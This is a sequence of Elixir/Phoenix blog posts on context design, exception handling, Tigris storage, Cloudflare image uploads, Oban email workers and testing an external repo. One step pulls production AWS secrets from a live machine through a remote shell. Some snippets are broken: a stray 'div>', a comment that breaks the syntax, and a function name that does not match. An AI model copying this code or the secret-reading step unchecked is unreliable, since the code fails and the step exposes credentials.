In June 2023, I wrote a blog post titled Kill your Phoenix Context in which I proposed a new software design for Phoenix applications. In short, I suggested you delete the generated context altogether and create dedicated repository, finder, and service modules instead.

Repositories hold all CRUD functions for a schema, Finders encapsulate complex queries, and Services contain the business logic for one use case each (e.g. CreateUserService). I based the suggestion on my experience of working for a company that used this design heavily, and it seemed to work pretty well for them. However, one year later, I changed my mind.

The Problem

The fundamental issue with the design above is that it is Module-oriented rather than Function-oriented. It tries to organize your code around modules instead of functions.

This is very much Object-Oriented Programming (OOP) thinking. In OOP, the Object - and therefore its definition, the Class - is the first-class citizen. Classes are the fundamental building blocks of your software design. Functions are just "children" of classes and don't play a role in your design. That's why you would design your system around classes, not functions, in OOP.

In Functional Programming (FP), the Function is the first-class citizen. You can use functions without having to wrap them in classes. In fact, Elixir doesn't even have classes! It has modules which look very similar to classes, but they don't define state or behaviours like classes do.

Modules look so much like classes that they are often mistaken, especially by folks who have an OOP background. But if you want to design software in Elixir, you must understand one thing:

Modules are just collections of functions. Nothing more.

The Proposal

Personally, I moved away from the module-based approach above and use different designs for my projects now, depending on how complex I expect them to become. They all include Phoenix Contexts though.

For small projects, I use the generated code structure as-is. I try to keep my controllers and LiveViews thin and move all my business logic into the contexts. In small projects, your "real" business logic only involves a few functions anyway, and the rest of your system will be basic CRUD logic.

For medium to large projects, I move all CRUD functions from the contexts to dedicated repositories and keep only the business logic in my context. I still use finders, but don't use services anymore. The advantage of this approach is that I remove the "noise" from my contexts (the CRUD stuff) and only keep the most important functions in there. I do this because I've seen large projects which combine CRUD and business logic in one huge context, and it's hard to find the important parts among all the get_X_by_Y helper functions.

An Example

Let's walk through an example to make this design more tangible. Imagine you have a system that handles invoices. You have your usual CRUD logic, but also a bit of complex business logic like finalize invoice that requires a few more steps than just updating an invoice.

After generating the code with mix phx.gen.live Invoices Invoice invoices ..., the first thing I do - but only for medium to larger projects - is to move all CRUD logic from the App.Invoices context to an App.Invoices.InvoiceRepo repository.

I allow my AppWeb domain to call the repository directly. So, the AppWeb.InvoiceLive.Index LiveView can call App.Invoices.InvoiceRepo.list_invoices() and doesn't have to go through App.Invoices. However, if my project becomes very complex, I'd consider restricting direct access to my InvoiceRepo and rather require other subdomains to call the invoice repository through App.Invoices. That way, I can easily transform my context into a "public interface" for the rest of my app and control which functions they have access to.

Next, I add the business logic to my App.Invoices context like finalize invoice. My context is allowed to call other contexts and everything they "own". I even allow calls to my AppWeb domain, but only for small things like generating a URL to send in an Email and only if the function call doesn't originate in the Web domain. If it does, I require the caller to pass a URL or a function for generating the URL. You can see an example of this in the ResetPassword LiveView that mix phx.gen.auth generates for you. I try to limit the calls from my App to my AppWeb domain as much as possible though, and 9-out-of-10 times, I can rewrite my function to receive a URL parameter instead of having to generate it itself.

And that's it really! It's a simple design which most Elixir developers will understand quickly, but it leaves room for refinement if your codebase grows significantly.

Let me know if you'd like me to record a video about this and I'll happily put it on YouTube. Otherwise, you can always join my livestream and ask questions :)

Conclusion

Handle Phoenix Exceptions gracefully

2024-04-13T10:00:00Z

Hello there fellow Elixirists!

It's been a while since my last blog post which is largely the fault of my new startup indiecourses.com which takes up all my previous blog-writing time!

To show my apologies, please accept the following dad joke:

I got pulled over by a police officer.
He looked at my license and said I should wear glasses.
I said I have contacts.

He said he doesn’t care who I know.

Alright! Let's talk about Exceptions in Phoenix and how we can make them a bit less noisy.

The Problem

When you run a Phoenix application in production, you might have seen exceptions like this one:

** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/plain" with extensions: ["txt", "text"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

or this one:

** (Plug.CSRFProtection.InvalidCSRFTokenError) invalid CSRF (Cross Site Request Forgery) token, please make sure that:

  * The session cookie is being sent and session is loaded
  * The request include a valid '_csrf_token' param or 'x-csrf-token' header

Phoenix throws these exceptions when it protects you from invalid - and potentially malicious - requests. The first exception occurs when a user tries to acces your website through e.g. a script and forgot to set a correct Mime type in the Accept request header. The second exception occurs when somebody tries to submit a form without the proper CSRF token which protects you from forgery.

It's great that Phoenix protects us from such bad requests, but how can we make it a bit less noisy? Ideally, we would not receive exception alerts whenever a user makes a bad request.

The Solution

The solution is quite simple: We can implement the Plug.Exception protocol for the Phoenix errors and this will convert the exception into a 400 bad request response status.

All we have to do is to put these lines into e.g. our error_html.ex file:

# Return a 400 instead of raising an Exception if a request has
# the wrong Mime format (e.g. "text")
defimpl Plug.Exception, for: Phoenix.NotAcceptableError do
  def status(_exception), do: 400
  def actions(_exception), do: []
end

# Return a 400 instead of raising an Exception if a request has
# an invalid CSRF token.
defimpl Plug.Exception, for: Plug.CSRFProtection.InvalidCSRFTokenError do
  def status(_exception), do: 400
  def actions(_exception), do: []
end

And that's it! The user will now receive a 400 response status, our application won't throw an error, and our error tracker won't send us email alerts about noisy exceptions anymore. Great!

Testing

You can't trust your code unless you tested it, so let's write some tests that proof that our exceptions are now returned as proper 400 bad request responses.

These are the two tests you need:

test "returns 400 for invalid Mime formats", %{conn: conn} do
  assert_error_sent 400, fn ->
    conn
    |> put_req_header("accept", "text/plain")
    |> get(~p"/")
  end
end

test "returns 400 for invalid CSRF tokens", %{conn: conn} do
  assert_error_sent 400, fn ->
    conn
    # This private flag is set in our tests and disables the CSRF protection.
    # We need to enable it manually if we want to test the CSRF protection.
    |> put_private(:plug_skip_csrf_protection, false)
    |> post(~p"/users/log_in", %{
      "user" => %{
        "_csrf_token" => "invalid",
        "email" => "test@test.com",
        "password" => "Testtesttest123"
      }
    })
  end
end

If you run these tests before you add the defimpl functions to your application, you should see the same exceptions as mentioned above. Now, add the defimpl functions and run the tests again. No more exceptions!

Conclusion

And that's it! I hope you enjoyed this article! If you want to support me, check out my latest startup Indie Courses or video course. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋

Distribute your Files Globally with Tigris and Fly.io

2024-02-13T06:00:00Z

Hey everyone,

Today's article is sponsored by Tigris. They were so kind to give me beta access to their globally distributed S3-compatible Object Storage before their public beta launch. Tigris partners with Fly.io to distribute your files globally, which makes accessing them anywhere in the world super fast. Tigris is an excellent drop-in solution if you use S3 and give users access to your files.

I tried out Tigris and was quite impressed. The following blog post contains my experience and a detailed walkthrough of how to integrate Tigris into your Elixir application. Let's get started!

What's Tigris

The advantage of Tigris is that it allows low-latency access to your files anywhere in the world. That means users can download files from your server fast, regardless of location. But why is that important?

Usually, when you set up an S3 bucket, you choose only one location to host your files. That means you store all your files in one region. Now, if a user from Australia wants to download a file from your server located in e.g. Amsterdam, the download request travels from Australia to Europe and back. That can take a second or more, which creates a horrible user experience for your Australian user. It would be better if a copy of the file was stored in Australia too. That way, the request stays within the region, which makes it super fast and the user super happy. That's where Tigris comes in.

Tigris takes over the complex and tedious work of replicating your file in more than one location. When you upload a file, it first stays in the region where you uploaded it. But if a user from another region requests the file, it gets replicated and cached in the other region as well. That way, the file is available as close to the users as possible.

Tigris partners with Fly.io to achieve this replication. Fly is well-known for drastically simplifying the process of running your application in all regions of the world. Tigris uses Fly's infrastructure to store your files in currently ten regions* but plans to expand the network to all 35 regions served by Fly. It is independent of the regions where you deploy your fly apps. So, even if your app only runs in one region, Tigris will cache your files in all available regions.

This all sounds very complicated, but luckily, the setup is super simple. Tigris mimics the AWS S3 API, so any library that works with S3 also works with Tigris. If you use S3 already with e.g. ExAws.S3, you only have to change a few settings. Let's have a look.

The ten regions are Frankfurt, Sao Paulo, Ashburn (US), Johannesburg, London, Madrid, Chicago, Singapore, San Jose, and Sydney

The Setup

As a demo project, I created a small image guessing game called RecIt. You can find the demo deployed on Fly.io and the code on GitHub.

The game is simple: Select the category of sport you see in an image.

Both speed and correctness are important. The faster you categorize the image, the better. That means our application must show the image as fast as possible. Otherwise, players from regions with faster access to the images have an unfair advantage. Let's see how we can use Tigris to make file access fast for users everywhere.

Add a Tigris Bucket

First, we create a new application with mix phx.new recit and deploy it to Fly with fly launch. Now, we can add the S3 bucket managed by Tigris. The following steps are from the official Get Started guide.

First, we need to add our bucket to Fly. Run this and follow the instructions:

fly storage create

If you add a Tigris bucket from inside a fly project, it will automatically add it to the fly app and won't reveal the environment variables you need to access it. That's good for production but not so great for local development. Let's add another bucket for local development. Run the following, and Tigris will reveal the environment variables at the end of the command:

> cd .. && fly storage create
➜  Development fly storage create
? Select Organization: Your Organization
? Choose a name, use the default, or leave blank to generate one: my-dev-bucket
Your Tigris project (my-dev-bucket) is ready. See details and next steps with: https://fly.io/docs/reference/tigris/

Set one or more of the following secrets on your target app.
BUCKET_NAME: my-dev-bucket
AWS_ENDPOINT_URL_S3: https://fly.storage.tigris.dev
AWS_ACCESS_KEY_ID: tid_your-access-key
AWS_SECRET_ACCESS_KEY: tsec_your-secret-access-key
AWS_REGION: auto

Don't forget to copy & paste the environment variables into a .env file. Now, we can start developing locally.

Connect to the Tigris Bucket

Tigris provides instructions for many different languages on how to connect to their buckets. The following steps are from the Elixir guide:

First, we need to add the dependencies to mix.exs:

# mix.exs
defp deps do
      # other dependencies

      {:ex_aws, "~> 2.0"},
      {:ex_aws_s3, "~> 2.0"},
      {:hackney, "~> 1.9"},
      {:sweet_xml, "~> 0.6.6"},

      # The official docs list this
      # but it's not needed because
      # we use Jason instead.
      # {:poison, "~> 3.0"},

      # Might exist already
      # Phoenix adds it by default
      {:jason, "~> 1.1"}
end

Next, we add the ex_aws configuration to our runtime.exs. This step deviates from the official instructions where you add duplicate settings to dev.exs and runtime.exs. This is a simpler setup:

# config/runtime.exs
if config_env() != :test do
  config :ex_aws,
    # Consider setting this to config_env() != :prod
    # if you don't want to debug your requests in production
    debug_requests: true,
    json_codec: Jason,
    access_key_id:
      System.get_env("AWS_ACCESS_KEY_ID") ||
        raise("Missing env variable: AWS_ACCESS_KEY_ID"),
    secret_access_key:
      System.get_env("AWS_SECRET_ACCESS_KEY") ||
        raise("Missing env variable: AWS_SECRET_ACCESS_KEY")

  config :ex_aws, :s3,
    scheme: "https://",
    host: "fly.storage.tigris.dev",
    region: "auto",
    # This extra config is useful if you only want to work
    # with one bucket in your application. If not, remove it.
    bucket:
      System.get_env("BUCKET_NAME") ||
        raise("Missing env variable: BUCKET_NAME")
end

Now, restart your terminal and start the development server with iex -S mix phx.server. Let's test the bucket connection.

iex> ExAws.S3.list_buckets() |> ExAws.request!()
%{
  body: %{
    buckets: [
      %{name: "my-prod-bucket"},
      %{name: "my-dev-bucket"}
    ]
  }
}

Surprisingly, we can see both the production and development buckets, although we used the environment variables of the development bucket. This is because we created both buckets with the same Fly account organization. If we had chosen different organizations, we wouldn't see both. But seeing a bucket doesn't mean we can access it. Let's try to list the objects of the production bucket. It won't work:

iex> ExAws.S3.list_objects("my-prod-bucket") |> ExAws.request()
{:error,
 {:http_error, 403,
  %{
    body: "Access Denied.",
    headers: _headers,
    status_code: 403
  }}}

So, the access control works as expected. If we use the environment variables of the dev bucket, we can't access the prod bucket and vice-versa. All good.

Upload a File

Now that we have a working connection to our S3 bucket managed by Tigris, let's upload some images for our game.

To make the file upload and download easier, I wrote a little wrapper around ExAws. You can find it on GitHub. The wrapper exposes simple upload/2 and download/1 functions. Let's give it a try:

iex> file = File.read!("./data/valid/air hockey/1.jpg")
<<255, 216, 255, ...>>

iex> Recit.Storage.upload("test.jpg", file)
{:ok, %{status_code: 200}}

iex> Recit.Storage.download("test.jpg")
{:ok, %{body: <<255, 216, 255, ...>>, status_code: 200}}

It works, great. Now, let's upload all images of our game.

Upload many Files

I used a dataset of 500 images of 100 sports to seed images for the RecIt guessing game. You can find it on GitHub.

Now, the challenge is uploading all 500 images to our S3 bucket. AWS S3 doesn't offer an "upload multiple files at once" endpoint, so Tigris doesn't either. However, in S3, you can upload a complete folder using their UI. Tigris provides a handy dashboard of your buckets but has no folder upload (yet). If you're interested in the dashboard, you can open it with fly storage dashboard.

I wrote a Mix Task that uploads the files 1-by-1. It's not perfect, but it works. If you want to migrate a lot of data to Tigris, I suggest you use their data migration command instead.

Next, we need the environment variables of the production bucket to upload the images. Fly doesn't reveal the environment variables of your machines, but we can create a remote IEx connection to your Elixir application and read them out anyway.

# Open a SSH tunnel to your machine
fly ssh console

# Start a remote IEx session
bin/my-app remote

# Print the ExAws config
Application.get_all_env(:ex_aws)

Now we copy and paste both AWS_* variables to our local .env file, restart the terminal, and run mix upload_data. The upload process takes around 2 minutes.

Testing the Latency

Now that we have a working game at rec-it.fly.dev, we can test the latency benefit that Tigris promises.

I tested the latency in 4 regions with a simple test setup. First, I hard-coded the images that the game returns. This allowed me to record how long a file download took before and after caching. Whenever a new image appeared, I wrote down the download time as reported in the Network tab of my browser. I used NordVPN to switch through 4 regions and recorded the download times in each. I changed my NordVPN server three times in every region to account for latency differences caused by a slow server.

This setup is far from perfect and not scientific, but it gives us a rough indication of the performance increase we could expect.

At first, I had to guess from which region Tigris served my file. I contacted the co-founder and CEO of Tigris, Ovais Tariq, and after just a few days, they added a special Tigris-Object-Header to the response, which shows the region from which they served a file. Try getting that level of support from AWS!

Back to the test setup. I assumed that the first time I downloaded an image, Tigris would serve it from the region where I uploaded it, Amsterdam. That means that in regions other than Amsterdam, the download time would be quite long for the first request but speed up significantly with the second request because Tigris cached the file in the new region. That's indeed what happened. Below are the average download times for the first and second requests. The raw data is on GitHub.

| Client Location | Avg. Time of 1st Request | Avg. Time of 2nd Request (Cached) |
| --------------- | ------------------------ | --------------------------------- |
| Amsterdam, NL | 24ms | 23ms |
| Sydney, AUS | 863ms | 340ms (-60%) |
| Dallas, USA | 406ms | 188ms (-55%) |
| Sao Paulo, BR | 728ms | 297ms (-60%) |

As you can see, the differences are significant. Tigris decreased the time it took to download a file by 55-60% in all three regions! And all I had to do was change a few lines of my ExAws configuration.

One option I haven't tried is the Cache on write configuration, which should eliminate the latency difference between the first and second requests. If you set that option, Tigris will cache your files proactively even before a user requests it from another region. I assume this option will significantly increase your invoice, so use it only if necessary.

Conclusion

I must admit that I was quite impressed by Tigris. Switching to it from S3 took only a small code change, their documentation is exhaustive, and their team is very supportive and responsive. I can't see a difference between their pricing and S3's pricing except for the data transfer between regions, which was not finalized at the time of writing. Once they are out of beta, I will certainly consider them for storing files in production applications.

Resize User-provided Images with Cloudflare Images

2023-12-23T06:00:00Z

Welcome back to another article! Let's end the year with one last dad joke:

My boss asked me why I only get sick on work days.

I said it must be my weekend immune system.

Alrighty! Let's dive into today's topic: How to resize and host user-provided images with Cloudflare Images.

The Problem

For my startup Indie Courses, I recently ran into the issue that I had to handle user-provided images. In particular, I wanted to resize their images to fit the aspect ratio and size in which I display them. Otherwise, a user could upload a 2MB file with 10000x10000px although I'd display it only in 200x200px.

First, I wanted to require the user to provide their video course assets like cover and thumbnail images in a predefined aspect ratio and size. But that would have been bad UX and I believe strongly that software should handle such transformation.

The Solution

I didn't want to resize the images myself, so I looked into third-party services that allow me to resize and host the images. I'm a long-time customer of Cloudflare and was excited to see that they offer Cloudflare Images now. It lets you upload and resize your images in a multitude of variants for free! You only pay per image, not per size variant. So, I had a solution, I just needed to implement it.

The Code

The code was almost straightforward since it required a single API call to Cloudflare to upload and resize the images. Cloudflare returns a list of URLs for the image, with one URL per variant. We can then choose the variant we want to use for the image.

The Uploader

First, we need to upload the image to Cloudflare. Here's the uploader code:

defmodule MyApp.Storage.Services.UploadImage do

  require Logger

  def upload(filename, byte_content, requested_sizes) do
    # Build the Multipart payload
    file = Multipart.Part.file_content_field(filename, byte_content, :file, filename: filename)
    multipart = Multipart.new() |> Multipart.add_part(file)

    # Build the headers
    content_length = Multipart.content_length(multipart)
    content_type = Multipart.content_type(multipart, "multipart/form-data")

    headers = [
      {"authorization", "Bearer #{bearer_token()}"},
      {"Content-Type", content_type},
      {"Content-Length", to_string(content_length)}
    ]

    # Make the request
    Req.post(
      url(),
      headers: headers,
      body: Multipart.body_stream(multipart)
    )
    |> handle_result(requested_sizes)
  end

  defp handle_result({:ok, %Req.Response{status: 200, body: body}}, requested_sizes) do
    %{"result" => %{"variants" => variants}} = body

    # Map the requested sizes to the returned variants
    size_to_variant_map =
      requested_sizes
      |> Enum.map(fn size ->
        variant = Enum.find(variants, fn variant -> String.contains?(variant, size) end)
        {size, variant}
      end)
      |> Map.new()

    {:ok, size_to_variant_map}
  end

  defp handle_result({:error, %Req.Response{status: status, body: body}}, _requested_sizes) do
    Logger.error("Image Upload failed with #{status}: #{inspect(body)}")
    {:error, body}
  end

  defp url(), do: "https://api.cloudflare.com/client/v4/accounts/#{account_id()}/images/v1"
  defp account_id(), do: Application.get_env(:my_app, :cloudflare_account_id)
  defp bearer_token(), do: Application.get_env(:my_app, :cloudflare_api_token)
end

Making the request isn't terribly difficult, but unfortunately, my HTTP client Req made it a bit harder than necessary. Req doesn't support sending multipart payloads. Luckily, Samrat Man Singh wrote a wonderful blog post about how to use the Multipart library as a workaround. Thank you, Samrat! So, now that we can make the request, let's discuss how I handle the response.

When you upload the image, Cloudflare immediately resizes it and sends you back a list of URLs, one for each variant that you've set up through the Cloudflare Image dashboard. I've set up the following variants in Cloudflare. Note that I haven't named them in pixel sizes (e.g. 1600x900) but rather where I use them (e.g. courseThumbnail). That way, I can easily change the size of e.g. the course thumbnail in the future by editing the variant on Cloudflare. Cloudflare will then resize the variant for all existing images, so I don't have to update any image URLs in my database.

I've set every variant to exactly the pixel size in which I display the images on my website (sometimes a bit bigger just in case). I used the cover fit option because that distorted the image the least. A cool privacy feature you get for free is that Cloudflare strips all image metadata. So, your user doesn't leak any private information e.g. location to the internet. I leave the copyright data, just in case.

Now you understand why I filter the variant-list in the response in the code above. When I upload e.g. a course cover image, I don't need all the other variants except for the courseCover one. So, I ignore them and only return the URL to that variant.

The URL returned by Cloudflare looks something like this:

https://imagedelivery.net/{account_id}/{image_id}/courseCover

If I need a different variant in the future, I can simply replace the variant suffix in the URL.

The LiveView

My LiveView integration of the file upload is very close to the example code in the documentation. However, I like to auto-upload the images (unless the file is part of a form, then not). Here's the LiveView code:

defmodule MyAppWeb.UploadLive do
  use MyAppWeb, :live_view

  alias MyApp.Courses
  alias MyApp.Storage.Services.UploadImage

  def render(assigns) do
    ~H"""
    <div>
      <.live_file_input upload={@uploads.cover} />
      <img src={@course.cover_url} />
    div>
    """
  end

  def mount(%{"id" => course_id}, _session, socket) do
    socket =
      socket
      |> assign(:course, Courses.get!(course_id))
      |> allow_upload(:cover,
        # Allow any image type.
        # Cloudflare can handle almost all of them I think.
        accept: ~w(image/*),
        max_file_size: 2_056_392 # 2 MB,
        auto_upload: true,
        progress: &handle_progress/3
      )
  end

  defp handle_progress(_image_key, entry, socket) do
    if entry.done? do
      size_variant = "courseCover"

      [%{^size_variant => resource_url}] =
        consume_uploaded_entries(socket, :cover, fn %{path: path}, entry ->
          byte_content = File.read!(path)
          UploadImage.call(entry.client_name, byte_content, [size_variant])
        end)

      course = socket.assigns.course
      {:ok, course} = Courses.update_course(course, %{"cover_url" => resource_url})

      {:noreply, assign(socket, course: course)}
    else
      {:noreply, socket}
    end
  end
end

Conclusion

And that's it! I hope you enjoyed this article! If you want to support me, you can buy my book or video course. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋

Sending Emails with Swoosh and Oban

2023-12-17T08:00:00Z

Welcome back to another article! Let's start with the mandatory dad joke:

Apparently you can’t use “beef stew” as a password.

It’s not stroganoff.

Alright, now let's talk about a small but important topic: How to build emails with Swoosh and send them through Oban background workers.

The Problem

Almost all applications have to send emails. Whenever somebody registers or buys something, you send out emails. The problem with sending emails is that either you send them synchronously as part of a transaction or send them asynchronously after an action completes. For example, when a user clicks the "Buy now" button and your system has to handle the purchase action, you can either create the order and send the email in the same transaction or you only create the order and schedule the email for later.

The synchronous option has the benefit that you will never have an order for which you haven't sent the confirmation email, but it also means that users can't purchase anything if you can't send the email. This is a significant risk. Mailing services don't offer 100% availability and might refuse to send your email at random times (usually late at night on weekends so you won't notice until Monday morning and probably lose your annual revenue in orders until then). Also, you might deploy a bug to the email sending code which now also breaks your purchase code. Fun!

The asynchronous option has the benefit that sending the email will never block the user from purchasing. It also makes the whole interaction faster because you don't wait until the email is sent before letting the user know that they successfully bought their 10th CO2 monitor in a week! The downside of this option is your email might never get sent. For example, if you spin up a new process for sending the email and your server decides to shut down at exactly that moment, the process goes bye-bye, and the email is lost. It's not great, but not as bad as blocking users from giving you money.

The Solution

So, we see that asynchronous email sending is preferable to synchronous sending because we like having money to pay rent and buy CO2 monitors. Let's discuss how we can make the asynchronous sending as robust as possible. Whenever you think "robust" and "asynchronous", the answer is often the Oban background processing library. Oban is amazing for working with background jobs. We can leverage them for scheduling and sending our emails. So, let's dive into the code next.

The Code

As an example, we will refactor the email-sending code of an auto-generated Phoenix application. When you create a new Phoenix app with authentication, it comes with the UserNotfier module for sending authentication-related emails using the Swoosh library by default. It sends the emails synchronously for now, so let's refactor it to use an Oban background worker instead.

The Mailer

Here's the final code of the mailer. We'll discuss it below:

# lib/accounts/user_notifier.ex

defmodule MyApp.Accounts.UserNotifier do
  defp deliver(recipient, subject, body) do
    email =
      new()
      |> to(recipient)
      |> from({"Your Name", "your-email.com"})
      |> subject(subject)
      |> text_body(body)

    with email_map <- MyApp.Mailer.to_map(email),
         {:ok, _job} <- enqueue_worker(email_map) do
      {:ok, email}
    end
  end

  defp enqueue_worker(email) do
    %{email: email}
    |> MyApp.Workers.SendEmail.new()
    |> Oban.insert()
  end

  # Public functions for sending emails

end

If you compare this version with the auto-generated one, you'll see that only a few lines changed. Instead of calling MyApp.Mailer.deliver(email) directly, we call enqueue_worker(email_map) instead which inserts a new SendEmail worker into the Oban queue. Nothing you haven't seen yet if you've ever worked with Oban.
The unusual part is the MyApp.Mailer.to_map(email) function. The problem that this code solves is that our email is a Swoosh.Email-struct when we insert it as an argument for the Oban worker. However, Oban serializes all arguments to JSON before inserting them into the database. In Elixir, we can't simply convert a struct to JSON. Also, the email struct uses tuples for some fields like the to-field which often looks like this: [{"recipient name", "recipient@email.com"}]. There's no JSON equivalent for tuples, so we need to convert them first.

That's where the Mailer.to_map(email) helper comes in. Let's have a look at the implementation next:

The Converter

This is the full implementation of the Mailer module. It converts Swoosh.Email-structs to simple maps and simple maps back to Swoosh.Email-structs. It also "sanitizes" the tuples used in the contact fields so that we can serialize them to JSON.

# lib/mailer.ex

defmodule MyApp.Mailer do
  use Swoosh.Mailer, otp_app: :my_app

  def to_map(%Swoosh.Email{} = email) do
    %{
      "to" => contact_to_map(email.to),
      "from" => contact_to_map(email.from),
      "subject" => email.subject,
      "text_body" => email.text_body
    }
  end

  def from_map(args) do
    %{
      "to" => to,
      "from" => from,
      "subject" => subject,
      "text_body" => text_body
    } = args

    opts = [
      to: map_to_contact(to),
      from: map_to_contact(from),
      subject: subject,
      text_body: text_body
      # Add a text_html if needed.
    ]

    Swoosh.Email.new(opts)
  end

  defp contact_to_map(info) when is_list(info) do
    Enum.map(info, &contact_to_map/1)
  end

  defp contact_to_map({name, email}) do
    %{"name" => name, "email" => email}
  end

  defp map_to_contact(info) when is_list(info) do
    Enum.map(info, &map_to_contact/1)
  end

  defp map_to_contact(%{"name" => name, "email" => email}) do
    {name, email}
  end
end

These little helper functions allow us to create a Swoosh.Email in our UserNotifier and convert it to a map so that Oban can use it as an argument when inserting an Oban worker. Once the Oban worker is executed it needs to convert the map back to a Swoosh.Email-struct so that Swoosh can send it.

You might argue that this is not needed because we can insert the Oban worker with "raw" arguments like e.g. recipient email, redirect URL, any IDs to records we need to present in the email and let the worker build the email. There are a few problems with this approach which is why I prefer to build the email beforehand and only use the worker for sending the email.

The first problem is that our arguments might be incorrect and the worker can never build the email with them. For example, what if you need the user's physical address in the email, but the user hasn't provided it yet? Normally, you'd block sending the email and show an error to the user but if you build the email inside a worker, there's no way to notify the user about this error.

The second problem is that the underlying data might change from when you insert the worker to when you send the email. Imagine a user completes a purchase and you insert a worker to send out the "order confirmed"-email. By the time you send the email, the user might have canceled the purchase and the order was deleted!

So, that's why I prefer to build the email contents beforehand and only use the worker for sending the email, not building it.

Alright, enough armchair doomspelling. Let's look at the worker's code next:

The Worker

This module contains a super lightweight email-sending worker. It sends the mail synchronously through Swoosh, so if the sending fails, the worker fails and Oban will retry it again at a later time. Exceptions will be logged and will notify us when emails aren't being sent. This makes our email-sending functionality asynchronous and robust because we will never miss sending an email.

# lib/workers/send_email.ex

defmodule MyApp.Workers.SendEmail do
  use Oban.Worker, queue: :mailer

  alias MyApp.Mailer

  @impl Oban.Worker
  def perform(%Oban.Job{args: %{"email" => email_args}}) do
    with email <- Mailer.from_map(email_args),
         {:ok, _metadata} <- Mailer.deliver(email) do
      :ok
    end
  end
end

Conclusion

Every Ending is a new Beginning

2023-12-13T07:00:00Z

I'm happy to announce that after five years of working full-time, I'll hang up my employee hat and put on the chaos stress halo of a freelancer and startup entrepreneur. At least until I run out of money or my hair falls out, whatever comes first 😄

So, here's what comes next

Through my network, I was referred to a very interesting Elixir freelance job where I'll work 2 days a week. That's gonna cover my monthly expenses (yey!)

The remaining days, I'll work on my startup indiecourses.com. My goal is to get this thing off the ground and profitable within 6-12 months. I'll #buildinpublic wherever possible. The first deadline is January 28th where we'll go live with our Beta (you can sign up to our newsletter if you don't want to miss it)

What this means for you

Not much will change. I'll continue to post about Elixir on BlueSky and my blog here but I'll add learnings about being a bootstrapped founder to it. I'll blog about all things education and video courses over at indiecourses.com.

Aside from that, prepare yourself for many more dad jokes because now I've got the time to post them relentlessly 😜

For example:

Elevators terrify me.

I’m taking steps to avoid them.

Alright! Now it's time to actually start building something. Or maybe to make another coffee. Yeah, let's do that first!

Test an external, read-only Repository in Phoenix

2023-11-11T10:00:00Z

Hey there! Let me welcome you with the customary dad joke:

What do you call a knight
made entirely out of fine china?

Sir Ramic

Alright! Now, let's dive into today's topic: How to test an external, read-only Database connection in Phoenix.

The Problem

Sometimes, we have to connect our Elixir applications to read from an external database that we don't control. Setting up the connection is easy. Just create another Repo, define the connection parameters in runtime.exs, and define some schemas. Done! Now, you can query the external database through your Repo.

The problem occurs when you want to write tests for that read-only database connection. How can you simulate the external database in your test environment? You could replace the connection with a mock module at runtime. Or you don't test it at all 🤷‍♂️

The Solution

There's a better approach: If you only rely on small, stable parts of the database, you can replicate it locally and for your tests only. That way, you can be sure that your tests test the actual functionality and not just a mock.

Let's see how we can create and migrate the database and write an ExMachina factory for it too!

The Configuration

First, we need to create a new Ecto.Repo for the external database connection. We can simply copy&paste the autogenerated Repo module and add a read_only: true flag to block any write operations to the external database (if needed).

This is how the new Repo would look like

# lib/other_app/repo.ex
defmodule OtherApp.Repo do
  use Ecto.Repo,
    otp_app: :my_app,
    adapter: Ecto.Adapters.Postgres,
    read_only: Mix.env() != :test # <- Note this

Notice that we set the :read_only-flag to true in all environments that are not :test. In our tests, we need a read-and-write connection to create and migrate the database and populate it with our test data. But in all other environments, the external database will be created, migrated, and populated already. So, to prevent accidental changes to the database, we set read_only to true.

Now, let's have a look at the Repo configuration in our tests.

# config/config.exs
config :my_app, ecto_repos: [MyApp.Repo]

# config/test.exs
config :my_app,
  ecto_repos: [MyApp.Repo, OtherApp.Repo] # <- Note this

config :my_app, OtherApp.Repo,
  priv: "test/other_app_repo", # <- Note this
  username: "postgres",
  password: "postgres",
  hostname: "localhost",
  database: "my_other_app_test#{System.get_env("MIX_TEST_PARTITION")}",
  pool: Ecto.Adapters.SQL.Sandbox,
  pool_size: 2

There are two important things in this configuration. First, we add the new Repo to the ecto_repos of your app. This means that whenever we run mix ecto.setup|create|migrate before our tests, Ecto will also create and migrate the new Repo. We don't want to change the external database in any other environment, so we only add the new Repo in test.exs and leave it out in e.g. config.exs.

Now, if you run MIX_ENV=test mix ecto.create, Ecto will automatically create the my_other_app_test database in your local Postgres instance. Great!

The second important detail here is the priv: "test/other_app_repo" entry. When we create the test database, we also want to run migrations against it to create the tables that we want to test. We don't want these test migrations inside our priv/repo/migrations folder, which belongs to the Repo of our app. Also, we only need these migrations in our tests, so we created a new folder inside ./test instead. We can tell Ecto where to find the migrations using the :priv-config, so that's where we set it.

Now, the repo configuration is done! Next, let's create some migrations for the test repo.

The Migrations

Before we can insert data into our external-but-now-local database, we need to create the tables that we test against. You can simply create migrations for the test repo using the following command:

MIX_ENV=test mix ecto.gen.migration create_or_add_something -r OtherApp.Repo

This command will create a new migration inside our test/other_app_repo/migrations folder. Great!

Now, add whatever migration you need to set up the external-but-now-local database. I'll wait!

The Sandbox

Ready? Good. Now, one last step is to start the external database in sandbox mode. To do that, simply copy and paste any code that Phoenix autogenerated for your app Repo already. That would be:

# test/test_helper.exs
ExUnit.start()
Ecto.Adapters.SQL.Sandbox.mode(MyApp.Repo, :manual)
Ecto.Adapters.SQL.Sandbox.mode(OtherApp.Repo, :manual) # <- Add this

# test/support/data_case.ex
def setup_sandbox(tags) do
  my_app_pid = Ecto.Adapters.SQL.Sandbox.start_owner!(MyApp.Repo, shared: not tags[:async])
  other_app_pid =
    Ecto.Adapters.SQL.Sandbox.start_owner!(OtherApp.Repo, shared: not tags[:async]) # <- Add this

  on_exit(fn ->
    Ecto.Adapters.SQL.Sandbox.stop_owner(my_app_pid)
    Ecto.Adapters.SQL.Sandbox.stop_owner(other_app_pid) # <- Add this
  end)
end

And that's it! If you run your tests now, Ecto should create and migrate your test database and start it in sandbox mode.

Now, you might think that you can start writing your tests ...

The Factory

... but when you start writing your tests, you realize that you have no way of populating the external test database yet! You might want to use the fabulous ExMachina library for that, but if you simply copy and paste your existing factory, you'll run into problems.

